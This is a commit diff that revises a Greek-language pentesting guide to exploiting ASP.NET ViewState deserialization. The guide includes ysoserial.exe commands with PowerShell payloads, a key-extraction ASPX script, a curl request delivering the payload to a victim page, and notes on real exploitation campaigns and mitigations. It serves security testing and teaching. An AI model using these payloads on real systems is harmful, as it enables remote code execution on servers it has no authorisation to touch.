Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p

This commit is contained in:
Translator 2025-08-20 09:12:33 +00:00
parent 0d75a1da47
commit e7fa66c582

View File

@ -6,12 +6,12 @@
## Τι είναι το ViewState
**ViewState** χρησιμεύει ως η προεπιλεγμένη μηχανισμός στο ASP.NET για τη διατήρηση δεδομένων σελίδας και ελέγχου σε διάφορες ιστοσελίδες. Κατά την απόδοση του HTML μιας σελίδας, η τρέχουσα κατάσταση της σελίδας και οι τιμές που πρέπει να διατηρηθούν κατά τη διάρκεια μιας επαναφοράς (postback) σειριοποιούνται σε συμβολοσειρές κωδικοποιημένες σε base64. Αυτές οι συμβολοσειρές τοποθετούνται σε κρυφά πεδία ViewState.
**ViewState** λειτουργεί ως η προεπιλεγμένη μηχανισμός στο ASP.NET για τη διατήρηση δεδομένων σελίδας και ελέγχου σε διάφορες ιστοσελίδες. Κατά την απόδοση του HTML μιας σελίδας, η τρέχουσα κατάσταση της σελίδας και οι τιμές που πρέπει να διατηρηθούν κατά τη διάρκεια μιας επαναφοράς (postback) σειριοποιούνται σε συμβολοσειρές κωδικοποιημένες σε base64. Αυτές οι συμβολοσειρές τοποθετούνται σε κρυφά πεδία ViewState.
Οι πληροφορίες του ViewState μπορούν να χαρακτηριστούν από τις εξής ιδιότητες ή τους συνδυασμούς τους:
- **Base64**:
- Αυτός ο μορφότυπος χρησιμοποιείται όταν και οι δύο ιδιότητες `EnableViewStateMac` και `ViewStateEncryptionMode` είναι ρυθμισμένες σε false.
- Αυτός ο μορφή χρησιμοποιείται όταν και οι δύο ιδιότητες `EnableViewStateMac` και `ViewStateEncryptionMode` είναι ρυθμισμένες σε false.
- **Base64 + MAC (Κωδικός Αυθεντικοποίησης Μηνύματος) Ενεργοποιημένος**:
- Η ενεργοποίηση του MAC επιτυγχάνεται ρυθμίζοντας την ιδιότητα `EnableViewStateMac` σε true. Αυτό παρέχει επαλήθευση ακεραιότητας για τα δεδομένα του ViewState.
- **Base64 + Κρυπτογραφημένος**:
@ -19,16 +19,16 @@
## Δοκιμαστικές Περιπτώσεις
Η εικόνα είναι ένας πίνακας που λεπτομερεί διαφορετικές ρυθμίσεις για το ViewState στο ASP.NET με βάση την έκδοση του .NET framework. Ακολουθεί μια σύνοψη του περιεχομένου:
Η εικόνα είναι ένας πίνακας που περιγράφει διαφορετικές ρυθμίσεις για το ViewState στο ASP.NET με βάση την έκδοση του .NET framework. Ακολουθεί μια περίληψη του περιεχομένου:
1. Για **οποιαδήποτε έκδοση του .NET**, όταν και οι δύο MAC και Κρυπτογράφηση είναι απενεργοποιημένοι, δεν απαιτείται MachineKey, και επομένως δεν υπάρχει εφαρμόσιμη μέθοδος για να το προσδιορίσουμε.
1. Για **οποιαδήποτε έκδοση του .NET**, όταν και οι δύο MAC και Κρυπτογράφηση είναι απενεργοποιημένες, δεν απαιτείται MachineKey, και επομένως δεν υπάρχει εφαρμόσιμη μέθοδος για να το προσδιορίσουμε.
2. Για **εκδόσεις κάτω από 4.5**, εάν ο MAC είναι ενεργοποιημένος αλλά η Κρυπτογράφηση δεν είναι, απαιτείται MachineKey. Η μέθοδος για τον προσδιορισμό του MachineKey αναφέρεται ως "Blacklist3r."
3. Για **εκδόσεις κάτω από 4.5**, ανεξαρτήτως αν ο MAC είναι ενεργοποιημένος ή απενεργοποιημένος, εάν η Κρυπτογράφηση είναι ενεργοποιημένη, απαιτείται MachineKey. Ο προσδιορισμός του MachineKey είναι έργο για το "Blacklist3r - Future Development."
4. Για **εκδόσεις 4.5 και άνω**, όλοι οι συνδυασμοί MAC και Κρυπτογράφησης (είτε και οι δύο είναι true, είτε ο ένας είναι true και ο άλλος false) απαιτούν MachineKey. Ο MachineKey μπορεί να προσδιοριστεί χρησιμοποιώντας το "Blacklist3r."
### Δοκιμαστική Περίπτωση: 1 EnableViewStateMac=false και viewStateEncryptionMode=false
Είναι επίσης δυνατό να απενεργοποιηθεί εντελώς το ViewStateMAC ρυθμίζοντας το κλειδί μητρώου `AspNetEnforceViewStateMac` σε μηδέν στο:
Είναι επίσης δυνατή η πλήρης απενεργοποίηση του ViewStateMAC ρυθμίζοντας το κλειδί μητρώου `AspNetEnforceViewStateMac` σε μηδέν στο:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
@ -41,7 +41,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
### Test case 1.5 Like Test case 1 but the ViewState cookie isn't sent by the server
Οι προγραμματιστές μπορούν να **αφαιρέσουν το ViewState** από το να γίνει μέρος ενός HTTP Request (ο χρήστης δεν θα λάβει αυτό το cookie).\
Κάποιος μπορεί να υποθέσει ότι αν το **ViewState** είναι **μη παρόν**, η υλοποίησή τους είναι **ασφαλής** από οποιαδήποτε πιθανή ευπάθεια που προκύπτει με την αποσυμπίεση του ViewState.\
Κάποιος μπορεί να υποθέσει ότι αν το **ViewState** είναι **μη παρόν**, η υλοποίησή τους είναι **ασφαλής** από οποιαδήποτε πιθανή ευπάθεια που προκύπτει από την αποσυμπίεση του ViewState.\
Ωστόσο, αυτό δεν ισχύει. Αν **προσθέσουμε την παράμετρο ViewState** στο σώμα του αιτήματος και στείλουμε το σειριασμένο payload μας που δημιουργήθηκε χρησιμοποιώντας το ysoserial, θα μπορέσουμε ακόμα να επιτύχουμε **εκτέλεση κώδικα** όπως φαίνεται στην **Περίπτωση 1**.
### Test Case: 2 .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
@ -50,7 +50,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
Μπορούμε επίσης να το κάνουμε για **γενική** εφαρμογή ρυθμίζοντάς το στο αρχείο **web.config** όπως φαίνεται παρακάτω:
Μπορούμε επίσης να το κάνουμε για την **γενική** εφαρμογή ρυθμίζοντάς το στο αρχείο **web.config** όπως φαίνεται παρακάτω:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
@ -61,7 +61,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
</system.web>
</configuration>
```
Καθώς η παράμετρος είναι προστατευμένη με MAC, αυτή τη φορά για να εκτελέσουμε επιτυχώς την επίθεση, πρώτα χρειάζεται το κλειδί που χρησιμοποιήθηκε.
Καθώς η παράμετρος είναι προστατευμένη με MAC, αυτή τη φορά για να εκτελέσουμε επιτυχώς την επίθεση, χρειαζόμαστε πρώτα το κλειδί που χρησιμοποιήθηκε.
Μπορείτε να προσπαθήσετε να χρησιμοποιήσετε [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) για να βρείτε το κλειδί που χρησιμοποιήθηκε.
```
@ -114,9 +114,9 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
**Πριν από το .NET 4.5**, το ASP.NET μπορεί να **δέχεται** μια **μη κρυπτογραφημένη** \_`__VIEWSTATE`\_παράμετρο από τους χρήστες **ακόμα και αν** **`ViewStateEncryptionMode`** έχει οριστεί σε _**Always**_. Το ASP.NET **ελέγχει μόνο** την **παρουσία** της **`__VIEWSTATEENCRYPTED`** παραμέτρου στο αίτημα. **Αν κάποιος αφαιρέσει αυτή την παράμετρο και στείλει το μη κρυπτογραφημένο payload, θα επεξεργαστεί κανονικά.**
Επομένως, αν οι επιτιθέμενοι βρουν έναν τρόπο να αποκτήσουν το Machinekey μέσω άλλης ευπάθειας όπως η διαδρομή αρχείων, η εντολή [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) που χρησιμοποιήθηκε στην **Περίπτωση 2**, μπορεί να χρησιμοποιηθεί για να εκτελέσει RCE χρησιμοποιώντας την ευπάθεια αποσυμπίεσης του ViewState.
Επομένως, αν οι επιτιθέμενοι βρουν έναν τρόπο να αποκτήσουν το Machinekey μέσω άλλης ευπάθειας όπως η διαδρομή αρχείων, η εντολή [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) που χρησιμοποιήθηκε στην **Περίπτωση 2**, μπορεί να χρησιμοποιηθεί για να εκτελέσει RCE χρησιμοποιώντας την ευπάθεια αποσυμπίεσης ViewState.
- Αφαιρέστε την παράμετρο `__VIEWSTATEENCRYPTED` από το αίτημα προκειμένου να εκμεταλλευτείτε την ευπάθεια αποσυμπίεσης του ViewState, αλλιώς θα επιστρέψει ένα σφάλμα επικύρωσης MAC του Viewstate και η εκμετάλλευση θα αποτύχει.
- Αφαιρέστε την παράμετρο `__VIEWSTATEENCRYPTED` από το αίτημα προκειμένου να εκμεταλλευτείτε την ευπάθεια αποσυμπίεσης ViewState, αλλιώς θα επιστρέψει ένα σφάλμα επικύρωσης MAC Viewstate και η εκμετάλλευση θα αποτύχει.
### Test Case: 4 .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
@ -159,7 +159,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
### Test Case 6 Χρησιμοποιείται το ViewStateUserKeys
Η ιδιότητα **ViewStateUserKey** μπορεί να χρησιμοποιηθεί για να **αμυνθεί** ενάντια σε μια **επίθεση CSRF**. Αν μια τέτοια κλειδί έχει οριστεί στην εφαρμογή και προσπαθήσουμε να δημιουργήσουμε το **ViewState** payload με τις μεθόδους που έχουν συζητηθεί μέχρι τώρα, το **payload δεν θα επεξεργαστεί από την εφαρμογή**.\
Η ιδιότητα **ViewStateUserKey** μπορεί να χρησιμοποιηθεί για να **αμυνθεί** ενάντια σε μια **επίθεση CSRF**. Αν μια τέτοια κλειδί έχει οριστεί στην εφαρμογή και προσπαθήσουμε να δημιουργήσουμε το **ViewState** payload με τις μεθόδους που συζητήθηκαν μέχρι τώρα, το **payload δεν θα επεξεργαστεί από την εφαρμογή**.\
Πρέπει να χρησιμοποιήσετε μία ακόμη παράμετρο για να δημιουργήσετε σωστά το payload:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
@ -189,7 +189,7 @@ Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.C
}
</script>
```
Η αίτηση της σελίδας εκτυπώνει το **ValidationKey**, **DecryptionKey**, τον αλγόριθμο κρυπτογράφησης και τη λειτουργία συμβατότητας ASP.NET. Αυτές οι τιμές μπορούν τώρα να τροφοδοτηθούν απευθείας στο **ysoserial.net** για να δημιουργήσουν ένα έγκυρο, υπογεγραμμένο gadget `__VIEWSTATE`:
Η αίτηση της σελίδας εκτυπώνει το **ValidationKey**, **DecryptionKey**, τον αλγόριθμο κρυπτογράφησης και τη λειτουργία συμβατότητας ASP.NET. Αυτές οι τιμές μπορούν τώρα να τροφοδοτηθούν απευθείας στο **ysoserial.net** για να δημιουργηθεί ένα έγκυρο, υπογεγραμμένο gadget `__VIEWSTATE`:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
@ -201,19 +201,17 @@ curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
```
Αυτή η **πρωτογενής εξαγωγή κλειδιών** εκμεταλλεύτηκε μαζικά σε τοπικούς διακομιστές SharePoint το 2025 ("ToolShell" CVE-2025-53770/53771), αλλά είναι εφαρμόσιμη σε οποιαδήποτε εφαρμογή ASP.NET όπου ένας επιτιθέμενος μπορεί να εκτελέσει κώδικα στον διακομιστή.
## Σενάρια Πραγματικής Εκμετάλλευσης 2024-2025 και Σκληρά Κωδικοποιημένα Κλειδιά Μηχανής
## Σενάρια Πραγματικής Εκμετάλλευσης 2024-2025 και Σκληρά Κωδικοποιημένα Κλειδιά Μηχανών
### Κύμα “δημόσια αποκαλυφθέντων κλειδιών μηχανής” της Microsoft (Δεκ 2024 Φεβ 2025)
Η Microsoft Threat Intelligence ανέφερε μαζική εκμετάλλευση ιστότοπων ASP.NET όπου το *machineKey* είχε προηγουμένως διαρρεύσει σε δημόσιες πηγές (GitHub gists, αναρτήσεις ιστολογίων, ιστότοποι paste). Οι αντίπαλοι απαρίθμησαν αυτά τα κλειδιά και δημιούργησαν έγκυρα `__VIEWSTATE` gadgets με τις νεότερες σημαίες `ysoserial.net` 1.41 `--minify` και `--islegacy` για να παρακάμψουν τα όρια μήκους WAF:
### Κύμα “δημόσια αποκαλυφθέντων κλειδιών μηχανών” της Microsoft (Δεκ 2024 Φεβ 2025)
Η Microsoft Threat Intelligence ανέφερε μαζική εκμετάλλευση ιστοσελίδων ASP.NET όπου το *machineKey* είχε προηγουμένως διαρρεύσει σε δημόσιες πηγές (GitHub gists, αναρτήσεις ιστολογίων, ιστότοποι paste). Οι αντίπαλοι απαρίθμησαν αυτά τα κλειδιά και δημιούργησαν έγκυρα `__VIEWSTATE` gadgets με τις νεότερες σημαίες `ysoserial.net` 1.41 `--minify` και `--islegacy` για να παρακάμψουν τα όρια μήκους WAF:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
```
Η περιστροφή στατικών κλειδιών ή η αλλαγή σε *AutoGenerate* κλειδιά στο Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) μετριάζει αυτή την κατηγορία επιθέσεων. {{#ref}}
{{#endref}}
Η περιστροφή στατικών κλειδιών ή η αλλαγή σε *AutoGenerate* κλειδιά στο Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) μετριάζει αυτή την κατηγορία επιθέσεων.
### CVE-2025-30406 Gladinet CentreStack / Triofox σκληρά κωδικοποιημένα κλειδιά
Η Kudelski Security αποκάλυψε ότι πολλές εκδόσεις του CentreStack / Triofox παρέχονταν με ταυτόσημες τιμές `machineKey`, επιτρέποντας μη αυθεντικοποιημένη απομακρυσμένη εκτέλεση κώδικα μέσω πλαστογράφησης ViewState (CVE-2025-30406).